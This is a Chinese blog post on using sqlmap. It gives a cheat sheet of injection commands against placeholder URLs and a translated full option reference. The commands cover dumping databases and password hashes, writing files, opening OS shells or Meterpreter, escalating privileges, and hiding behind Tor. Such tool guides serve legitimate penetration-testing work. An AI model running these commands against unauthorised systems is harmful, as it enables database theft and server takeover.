Sqlmap使用方法總結
在網上找了很多教程,都是零零散散的,找到了兩位位前輩的博客,應該是翻譯的官方文檔,感謝前輩們做出的貢獻.
本文參考:漏洞人生和sqlmap用戶手冊中文版
sqlmap簡介
sqlmap支持五種不同的注入模式:
- 基於布爾的盲注
- 基於時間的盲注
- 基於報錯注入
- 聯合查詢注入
- 堆疊注入
sqlmap支持九種不同的數據庫:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
常用語句
-
自動檢測
sqlmap -u http:/xxxxxx.xxx -batch
-
指定參數
sqlmap -u http:/xxxxxx.xxx/?id=x¶m=x -p id
-
指定數據庫類型
sqlmap -u http:/xxxxxx.xxx –dbms mysql
-
從文件讀取http請求報文
sqlmap -r 1.txt -batch
-
設置cookie
sqlmap -u http:/xxxxxx.xxx --cookie="JSESSION=asd"
-
查詢數據庫
sqlmap -u http:/xxxxxx.xxx --dbs
-
查詢表
sqlmap -u http:/xxxxxx.xxx -D 數據庫名 --tables
-
查字段名
sqlmap -u http:/xxxxxx.xxx -D 數據庫名 -T 表名 --columns
-
爆數據
sqlmap -u http:/xxxxxx.xxx -D 數據庫名 -T 表名 -C "字段名1,字段名2"--dump
-
在數據庫中搜索字段 / 表 / 數據庫名
sqlmap -u http:/xxxxxx.xxx --search -C/T/D admin,password
-
寫入文件
sqlmap -u http://xxx.xxx -–file-dest "要寫入的文件在本地的路徑" –file-write "目標路徑"
-
調用shell
sqlmap -u http://xxx.xxx --os-shell
-
tip: 是否跟隨302跳轉
當注入頁面錯誤的時候,自動跳轉到另一個頁面的時候需要跟隨302,
當注入錯誤的時候,先報錯再跳轉的時候,不需要跟隨302。
目的是要追蹤到錯誤信息。
sqlmap詳細命令
用法
python sqlmap.py [選項]
選項
-h, --help 顯示基本幫助信息並退出
-hh 顯示高級幫助信息並退出
--version 顯示程序版本信息並退出
-v VERBOSE 輸出信息詳細程度級別:0-6(默認為 1)
目標
至少提供一個以下選項以指定目標
-d DIRECT 直接連接數據庫
-u URL, --url=URL 目標 URL(例如:"http://www.site.com/vuln.php?id=1")
-l LOGFILE 從 Burp 或 WebScarab 代理的日志文件中解析目標地址
-m BULKFILE 從文本文件中獲取批量目標
-r REQUESTFILE 從文件中讀取 HTTP 請求
-g GOOGLEDORK 使用 Google dork 結果作為目標
-c CONFIGFILE 從 INI 配置文件中加載選項
請求
以下選項可以指定連接目標地址的方式
--method=METHOD 強制使用提供的 HTTP 方法(例如:PUT)
--data=DATA 使用 POST 發送數據串(例如:"id=1")
--param-del=PARA.. 設置參數值分隔符(例如:&)
--cookie=COOKIE 指定 HTTP Cookie(例如:"PHPSESSID=a8d127e..")
--cookie-del=COO.. 設置 cookie 分隔符(例如:;)
--load-cookies=L.. 指定以 Netscape/wget 格式存放 cookies 的文件
--drop-set-cookie 忽略 HTTP 響應中的 Set-Cookie 參數
--user-agent=AGENT 指定 HTTP User-Agent
--random-agent 使用隨機的 HTTP User-Agent
--host=HOST 指定 HTTP Host
--referer=REFERER 指定 HTTP Referer
-H HEADER, --hea.. 設置額外的 HTTP 頭參數(例如:"X-Forwarded-For: 127.0.0.1")
--headers=HEADERS 設置額外的 HTTP 頭參數(例如:"Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP 認證方式(Basic,Digest,NTLM 或 PKI)
--auth-cred=AUTH.. HTTP 認證憑證(username:password)
--auth-file=AUTH.. HTTP 認證 PEM 證書/私鑰文件
--ignore-code=IG.. 忽略(有問題的)HTTP 錯誤碼(例如:401)
--ignore-proxy 忽略系統默認代理設置
--ignore-redirects 忽略重定向嘗試
--ignore-timeouts 忽略連接超時
--proxy=PROXY 使用代理連接目標 URL
--proxy-cred=PRO.. 使用代理進行認證(username:password)
--proxy-file=PRO.. 從文件中加載代理列表
--tor 使用 Tor 匿名網絡
--tor-port=TORPORT 設置 Tor 代理端口代替默認端口
--tor-type=TORTYPE 設置 Tor 代理方式(HTTP,SOCKS4 或 SOCKS5(默認))
--check-tor 檢查是否正確使用了 Tor
--delay=DELAY 設置每個 HTTP 請求的延遲秒數
--timeout=TIMEOUT 設置連接響應的有效秒數(默認為 30)
--retries=RETRIES 連接超時時重試次數(默認為 3)
--randomize=RPARAM 隨機更改給定的參數值
--safe-url=SAFEURL 測試過程中可頻繁訪問且合法的 URL 地址(譯者注:
有些網站在你連續多次訪問錯誤地址時會關閉會話連接,
后面的“請求”小節有詳細說明)
--safe-post=SAFE.. 使用 POST 方法發送合法的數據
--safe-req=SAFER.. 從文件中加載合法的 HTTP 請求
--safe-freq=SAFE.. 每訪問兩次給定的合法 URL 才發送一次測試請求
--skip-urlencode 不對 payload 數據進行 URL 編碼
--csrf-token=CSR.. 設置網站用來反 CSRF 攻擊的 token
--csrf-url=CSRFURL 指定可提取防 CSRF 攻擊 token 的 URL
--force-ssl 強制使用 SSL/HTTPS
--hpp 使用 HTTP 參數污染攻擊
--eval=EVALCODE 在發起請求前執行給定的 Python 代碼(例如:
"import hashlib;id2=hashlib.md5(id).hexdigest()")
優化
以下選項用於優化 sqlmap 性能
-o 開啟所有優化開關
--predict-output 預測常用請求的輸出
--keep-alive 使用持久的 HTTP(S) 連接
--null-connection 僅獲取頁面大小而非實際的 HTTP 響應
--threads=THREADS 設置 HTTP(S) 請求並發數最大值(默認為 1)
注入
以下選項用於指定要測試的參數,
提供自定義注入 payloads 和篡改參數的腳本
-p TESTPARAMETER 指定需要測試的參數
--skip=SKIP 指定要跳過的參數
--skip-static 指定跳過非動態參數
--param-exclude=.. 用正則表達式排除參數(例如:"ses")
--dbms=DBMS 指定后端 DBMS(Database Management System,
數據庫管理系統)類型(例如:MySQL)
--dbms-cred=DBMS.. DBMS 認證憑據(username:password)
--os=OS 指定后端 DBMS 的操作系統類型
--invalid-bignum 將無效值設置為大數
--invalid-logical 對無效值使用邏輯運算
--invalid-string 對無效值使用隨機字符串
--no-cast 關閉 payload 構造機制
--no-escape 關閉字符串轉義機制
--prefix=PREFIX 注入 payload 的前綴字符串
--suffix=SUFFIX 注入 payload 的后綴字符串
--tamper=TAMPER 用給定腳本修改注入數據
檢測
以下選項用於自定義檢測方式
--level=LEVEL 設置測試等級(1-5,默認為 1)
--risk=RISK 設置測試風險等級(1-3,默認為 1)
--string=STRING 用於確定查詢結果為真時的字符串
--not-string=NOT.. 用於確定查詢結果為假時的字符串
--regexp=REGEXP 用於確定查詢結果為真時的正則表達式
--code=CODE 用於確定查詢結果為真時的 HTTP 狀態碼
--text-only 只根據頁面文本內容對比頁面
--titles 只根據頁面標題對比頁面
技術
以下選項用於調整特定 SQL 注入技術的測試方法
--technique=TECH 使用的 SQL 注入技術(默認為“BEUSTQ”,譯者注:
B: Boolean-based blind SQL injection(布爾型盲注)
E: Error-based SQL injection(報錯型注入)
U: UNION query SQL injection(聯合查詢注入)
S: Stacked queries SQL injection(堆疊查詢注入)
T: Time-based blind SQL injection(時間型盲注)
Q: inline Query injection(內聯查詢注入)
--time-sec=TIMESEC 延遲 DBMS 的響應秒數(默認為 5)
--union-cols=UCOLS 設置聯合查詢注入測試的列數目范圍
--union-char=UCHAR 用於暴力猜解列數的字符
--union-from=UFROM 設置聯合查詢注入 FROM 處用到的表
--dns-domain=DNS.. 設置用於 DNS 滲出攻擊的域名(譯者注:
推薦閱讀《在SQL注入中使用DNS獲取數據》
http://cb.drops.wiki/drops/tips-5283.html,
在后面的“技術”小節中也有相應解釋)
--second-url=SEC.. 設置二階響應的結果顯示頁面的 URL(譯者注:
該選項用於 SQL 二階注入)
--second-req=SEC.. 從文件讀取 HTTP 二階請求
指紋識別
-f, --fingerprint 執行廣泛的 DBMS 版本指紋識別
枚舉
以下選項用於獲取后端 DBMS 的信息,結構和數據表中的數據。
此外,還可以運行你輸入的 SQL 語句
-a, --all 獲取所有信息、數據
-b, --banner 獲取 DBMS banner
--current-user 獲取 DBMS 當前用戶
--current-db 獲取 DBMS 當前數據庫
--hostname 獲取 DBMS 服務器的主機名
--is-dba 探測 DBMS 當前用戶是否為 DBA(數據庫管理員)
--users 枚舉出 DBMS 所有用戶
--passwords 枚舉出 DBMS 所有用戶的密碼哈希
--privileges 枚舉出 DBMS 所有用戶特權級
--roles 枚舉出 DBMS 所有用戶角色
--dbs 枚舉出 DBMS 所有數據庫
--tables 枚舉出 DBMS 數據庫中的所有表
--columns 枚舉出 DBMS 表中的所有列
--schema 枚舉出 DBMS 所有模式
--count 獲取數據表數目
--dump 導出 DBMS 數據庫表項
--dump-all 導出所有 DBMS 數據庫表項
--search 搜索列,表和/或數據庫名
--comments 枚舉數據時檢查 DBMS 注釋
-D DB 指定要枚舉的 DBMS 數據庫
-T TBL 指定要枚舉的 DBMS 數據表
-C COL 指定要枚舉的 DBMS 數據列
-X EXCLUDE 指定不枚舉的 DBMS 標識符
-U USER 指定枚舉的 DBMS 用戶
--exclude-sysdbs 枚舉所有數據表時,指定排除特定系統數據庫
--pivot-column=P.. 指定主列
--where=DUMPWHERE 在轉儲表時使用 WHERE 條件語句
--start=LIMITSTART 指定要導出的數據表條目開始行數
--stop=LIMITSTOP 指定要導出的數據表條目結束行數
--first=FIRSTCHAR 指定獲取返回查詢結果的開始字符位
--last=LASTCHAR 指定獲取返回查詢結果的結束字符位
--sql-query=QUERY 指定要執行的 SQL 語句
--sql-shell 調出交互式 SQL shell
--sql-file=SQLFILE 執行文件中的 SQL 語句
暴力破解
以下選項用於暴力破解測試
--common-tables 檢測常見的表名是否存在
--common-columns 檢測常用的列名是否存在
用戶自定義函數注入
以下選項用於創建用戶自定義函數
--udf-inject 注入用戶自定義函數
--shared-lib=SHLIB 共享庫的本地路徑
訪問文件系統
以下選項用於訪問后端 DBMS 的底層文件系統
--file-read=FILE.. 讀取后端 DBMS 文件系統中的文件
--file-write=FIL.. 寫入到后端 DBMS 文件系統中的文件
--file-dest=FILE.. 使用絕對路徑寫入到后端 DBMS 中的文件
訪問操作系統
以下選項用於訪問后端 DBMS 的底層操作系統
--os-cmd=OSCMD 執行操作系統命令
--os-shell 調出交互式操作系統 shell
--os-pwn 調出 OOB shell,Meterpreter 或 VNC
--os-smbrelay 一鍵調出 OOB shell,Meterpreter 或 VNC
--os-bof 利用存儲過程的緩沖區溢出
--priv-esc 數據庫進程用戶提權
--msf-path=MSFPATH Metasploit 框架的本地安裝路徑
--tmp-path=TMPPATH 遠程臨時文件目錄的絕對路徑
訪問 Windows 注冊表:
以下選項用於訪問后端 DBMS 的 Windows 注冊表
--reg-read 讀取一個 Windows 注冊表鍵值
--reg-add 寫入一個 Windows 注冊表鍵值數據
--reg-del 刪除一個 Windows 注冊表鍵值
--reg-key=REGKEY 指定 Windows 注冊表鍵
--reg-value=REGVAL 指定 Windows 注冊表鍵值
--reg-data=REGDATA 指定 Windows 注冊表鍵值數據
--reg-type=REGTYPE 指定 Windows 注冊表鍵值類型
通用選項:
以下選項用於設置通用的參數
-s SESSIONFILE 從文件(.sqlite)中讀入會話信息
-t TRAFFICFILE 保存所有 HTTP 流量記錄到指定文本文件
--batch 從不詢問用戶輸入,使用默認配置
--binary-fields=.. 具有二進制值的結果字段(例如:"digest")
--check-internet 在訪問目標之前檢查是否正常連接互聯網
--crawl=CRAWLDEPTH 從目標 URL 開始爬取網站
--crawl-exclude=.. 用正則表達式篩選爬取的頁面(例如:"logout")
--csv-del=CSVDEL 指定輸出到 CVS 文件時使用的分隔符(默認為“,”)
--charset=CHARSET 指定 SQL 盲注字符集(例如:"0123456789abcdef")
--dump-format=DU.. 導出數據的格式(CSV(默認),HTML 或 SQLITE)
--encoding=ENCOD.. 指定獲取數據時使用的字符編碼(例如:GBK)
--eta 顯示每個結果輸出的預計到達時間
--flush-session 清空當前目標的會話文件
--forms 解析並測試目標 URL 的表單
--fresh-queries 忽略存儲在會話文件中的查詢結果
--har=HARFILE 將所有 HTTP 流量記錄到一個 HAR 文件中
--hex 獲取數據時使用 hex 轉換
--output-dir=OUT.. 自定義輸出目錄路徑
--parse-errors 從響應中解析並顯示 DBMS 錯誤信息
--preprocess=PRE.. 使用給定腳本預處理響應數據
--repair 重新導出具有未知字符的數據(?)
--save=SAVECONFIG 將選項設置保存到一個 INI 配置文件
--scope=SCOPE 用正則表達式從提供的代理日志中過濾目標
--test-filter=TE.. 根據 payloads 和/或標題(例如:ROW)選擇測試
--test-skip=TEST.. 根據 payloads 和/或標題(例如:BENCHMARK)跳過部分測試
--update 更新 sqlmap
雜項
-z MNEMONICS 使用短助記符(例如:“flu,bat,ban,tec=EU”)
--alert=ALERT 在找到 SQL 注入時運行 OS 命令
--answers=ANSWERS 設置預定義回答(例如:“quit=N,follow=N”)
--beep 出現問題提醒或在發現 SQL 注入時發出提示音
--cleanup 指定移除 DBMS 中的特定的 UDF 或者數據表
--dependencies 檢查 sqlmap 缺少(可選)的依賴
--disable-coloring 關閉彩色控制台輸出
--gpage=GOOGLEPAGE 指定頁碼使用 Google dork 結果
--identify-waf 針對 WAF/IPS 防護進行徹底的測試
--mobile 使用 HTTP User-Agent 模仿智能手機
--offline 在離線模式下工作(僅使用會話數據)
--purge 安全刪除 sqlmap data 目錄所有內容
--skip-waf 跳過啟發式檢測 WAF/IPS 防護
--smart 只有在使用啟發式檢測時才進行徹底的測試
--sqlmap-shell 調出交互式 sqlmap shell
--tmp-dir=TMPDIR 指定用於存儲臨時文件的本地目錄
--web-root=WEBROOT 指定 Web 服務器根目錄(例如:"/var/www")
--wizard 適合初級用戶的向導界面